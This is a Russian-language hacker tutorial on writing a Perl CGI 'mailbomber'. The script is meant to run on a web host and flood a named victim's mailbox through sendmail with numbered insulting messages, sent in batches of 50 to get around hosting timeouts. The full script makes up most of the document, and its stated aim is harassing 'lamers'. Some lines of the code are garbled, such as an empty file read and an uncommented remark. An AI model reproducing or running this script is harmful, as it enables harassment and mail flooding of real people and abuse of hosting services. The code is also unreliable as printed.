Пишем MailBomber на перле
Автор неизвестен

Все пользуются электронной почтой, конечно кто сидит в Интернете. Обычно ею пользуются все, но некоторые любят использовать электронную почту в военных целях: забомбить мыл какого-нибудь надоедливого ламера или просто над кем-нибудь поприкалываться. Обычно для этого используются уже готовые mailbomber'ы. Но сегодня я предлагаю вам координально новое решение, эта программа позволяет отправлять письма разного содержания, например:

Здраствуй, ты читаешь сообщение №1. Можешь читать следующее :-)) Здраствуй, ты читаешь сообщение №2. Можешь читать следующее :-)) Здраствуй, ты читаешь сообщение №3. Можешь читать следующее :-))

Использование mailbomber'a, который будет работать не у тебя на компе, а на *inux сервере, который поддерживает PERL, и на нем установлена программа sendmail. Из-за того что программа расположена на серваке, а не у тебя на компе, скорость отправки писем получается не детская.

Программа обычно находится в директориях /usr/sbin/sendmail или /usr/lib/sendmail. Для удобства ты сможешь вызывать её из своего браузера. Программа будет запускаться из http://www.host.ru/cgi-bin/bomb.cgi , где bomb.cgi - это соответственно наш бомбер. Программа должна отсылать сообщения в больших количествах. С этим есть небольшая проблема, так как на многих бесплатных хостингах стоит ограничение на время работы CGI программы, которая называется timeout. Пойдем другим путем, т.е. будем отсылать сообщения по 50 штук за раз, а потом сообщать программе, что типа 50 шук отправили, давай шли еще и т.д. без остановки. Заметь программа должна быть записана в Unix формате, в случае если ты используешь MustDie, то воспользуйся Far или CuteFTP, и не забудь поставить права доступа 755 (команда chmod 755).

Допустим ты вабрал свою жертву, это e-mail mazafucka@mail.ru. Программа будет записывать номер последнего отправленного письма в отдельный файл(bomb.txt), т.е. ты можешь на время прекратить бомбежку, а потом её снова начать.

Теперь разберем код программы:

#!/usr/local/bin/perl

$mailprog = '/usr/sbin/sendmail'; # место расположения программы sendmail на сервере
$mail = 'mazafucka@mail.ru'; # мыло жертвы

$from = 'cool_xakep@mail.ru'; # от кого будет письмо

$file = 'bomb.txt'; # файл записи количесва отправленных писем

$col = 50 ; # количество отправленных писем за один раз

if (($ENV{QUERY_STRING} eq "new") && (-e $file)){unlink($file);} # обнуляем данные, если надо

open (DATA, $file); # открываем файл, в котором находитс количество отправленных писем

$num = ; # считываем информацию из файла

close (DATA); # закрываем файл

if ($num eq "") {$num = 0;} # в случае если ничего не записано, то значит отправлено 0 писем

for ($i = 1; $i<=$col; $i++){$n = $i + $num;

open (MAIL, "|$mailprog -t"); # открываем программу sendmail

print MAIL "Content-Type: text/plain; charset = windows - 1251\n"; выводим заголовок

print MAIL "Subject: Смерть ламерам!\n"; # выводим тему сообщения

print MAIL "To: $mail\n"; # кому шлем

print MAIL "From: $from\n\n"; # от кого шлем

print MAIL "Здраствуй ламер, ты читаешь сообщение №$n. Можешь читать следующее :-))\n"; # само тело сообщения

print MAIL "\n\n"; # конец письма

close (MAIL); # завершаем работу с sendmail

}

open (DATA, ">$file"); # открываем файл с данными об отправленных письмах

print DATA $num+$col; # записываем количество отправленных писем

close (DATA); # закрываем файл

print "Content-type: text/html\n\n"; # вывожу лажу (заголовок HTML файла)

print "$num\n"; # выводим количество отправленных писем

print " \n"; # заканчиваем скрипт

# вот и весь скрипт


Ну вот, програмка довольно простая. Ты, наверное заметил, что каждое письмо должно заканчиваться двойным \n. Это сделано для того, чтобы программа sendmail поняла, что мы все ей сказали для отправки письма. В конце концов для твоего же удобсва выводим количество отправленных писем. Но самое приятное то, что программа почти не ест твой Internet трафик. Поставил программу работать к себе в браузер и смотришь, там все больше и больше писем. И потом всегда есть возможность остановить, а потом продолжить